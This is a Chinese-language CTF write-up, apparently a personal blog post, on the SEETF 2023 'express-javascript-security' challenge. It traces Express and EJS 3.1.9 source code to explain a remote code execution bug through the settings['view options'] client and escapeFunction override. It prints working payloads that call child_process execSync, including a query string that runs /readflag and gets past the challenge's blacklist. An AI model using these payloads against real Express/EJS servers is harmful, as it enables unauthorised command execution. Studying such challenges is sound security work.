SEETF-2023 express-javascript-security ejs相关漏洞

今天做个ejs相关题目。进入页面只发现一个输入框,题目标签是ejs相关,去github看看源码,发现ejs版本为3.1.9,可以确定地是rce漏洞。

接下来说说这个rce漏洞。3.1.9版本的rce漏洞主要是因为使用了这个模板来构建网页逻辑导致的。

点击查看代码
// index.js
const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/', (req,res) => {
    res.render('index', req.query);
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})
可以发现res.render('index', req.query),这里的req.query就是传入的data,而这个模式没有进行过滤,导致我们可以输入一些非法的东西来进行攻击,像是原型链污染。造成问题的根源主要发生过程如下: res.render()回先到达response.js。
response.js
res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};
去看看app.render()。
application.js
app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge app.locals
  merge(renderOptions, this.locals);

  // merge options._locals
  if (opts._locals) {
    merge(renderOptions, opts._locals);
  }

  // merge options
  merge(renderOptions, opts);

  // set .cache unless explicitly provided
  if (renderOptions.cache == null) {
    renderOptions.cache = this.enabled('view cache');
  }

  // primed cache
  if (renderOptions.cache) {
    view = cache[name];
  }

  // view
  if (!view) {
    var View = this.get('view');

    view = new View(name, {
      defaultEngine: this.get('view engine'),
      root: this.get('views'),
      engines: engines
    });

    if (!view.path) {
      var dirs = Array.isArray(view.root) && view.root.length > 1
        ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
        : 'directory "' + view.root + '"'
      var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
      err.view = view;
      return done(err);
    }

    // prime the cache
    if (renderOptions.cache) {
      cache[name] = view;
    }
  }

  // render
  tryRender(view, renderOptions, done);
};
转向了tryRender。
点击查看代码
function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}
view.render会去呼叫view engine里的 __express 方法,而这个方法在EJS里面就是renderFile。
点击查看代码
exports.__express = exports.renderFile;


exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = utils.createNullProtoObjWherePossible();
  }

  return tryHandleCache(opts, data, cb);
};
其主要代码就是中间的一段。
点击查看代码
if (data.settings) {
  // Pull a few things from known locations
  if (data.settings.views) {
    opts.views = data.settings.views;
  }
  if (data.settings['view cache']) {
    opts.cache = true;
  }
  // Undocumented after Express 2, but still usable, esp. for
  // items that are unsafe to be passed along with data, like `root`
  viewOpts = data.settings['view options'];
  if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
  }
}
显而易见,我们只要设置了data.settings['view options']就可以覆盖掉opts,从而造成漏洞。再去看看tryHandleCache()。
点击查看代码
function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;

  if (options.cache) {
    if (!filename) {
      throw new Error('cache option requires a filename');
    }
    func = exports.cache.get(filename);
    if (func) {
      return func;
    }
    if (!hasTemplate) {
      template = fileLoader(filename).toString().replace(_BOM, '');
    }
  }
  else if (!hasTemplate) {
    // istanbul ignore if: should not happen at all
    if (!filename) {
      throw new Error('Internal EJS error: no file name or template '
                    + 'provided');
    }
    template = fileLoader(filename).toString().replace(_BOM, '');
  }
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}
如果options.cache存在设置,那么就直接用cache中存在的已经compile过的,否则就重新compile。而重点就在compile中,里面有一段如下:
点击查看代码
if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}
那么我们只需要传入数据:
点击查看代码
const payload = {
  settings: {
    'view options': {
      client: true,
      escapeFunction: '(() => {});return process.mainModule.require("child_process").execSync("id").toString()'
    }
  }
}
换个方式也就是settings[view options][escape]=JSON.stringify;process.mainModule.require('child_process').execSync('id')&settings[view options][client]=1就可以达到rce注入的目的。

回到本题中那么我们开始构造,在源码main.js中有这么一段代码:

点击查看代码
app.get('/greet', (req, res) => {
    
    const data = JSON.stringify(req.query);

    if (BLACKLIST.find((item) => data.includes(item))) {
        return res.status(400).send('Can you not?');
    }

    return res.render('greet', {
        ...JSON.parse(data),
        cache: false
    });
});
那么我们就可以构造payload为/greet?name=x&settings[view options][escape]=JSON.stringify;process.mainModule.require('child_process').execSync('/readflag >> index.ejs')&settings[view options][client]=1&font=x&fontSize=x 这段url中的命令是执行根目录下的readflag输出结果到index.ejs中,我们重新访问主页面即可得到flag,也可以进行反弹shell来进行。

主要相关具体讲解以及ejs其他题型看 https://github.com/aszx87410/blog/issues/139

posted @ 2024-06-19 21:25  jockerliu  阅读(38)  评论(0编辑  收藏  举报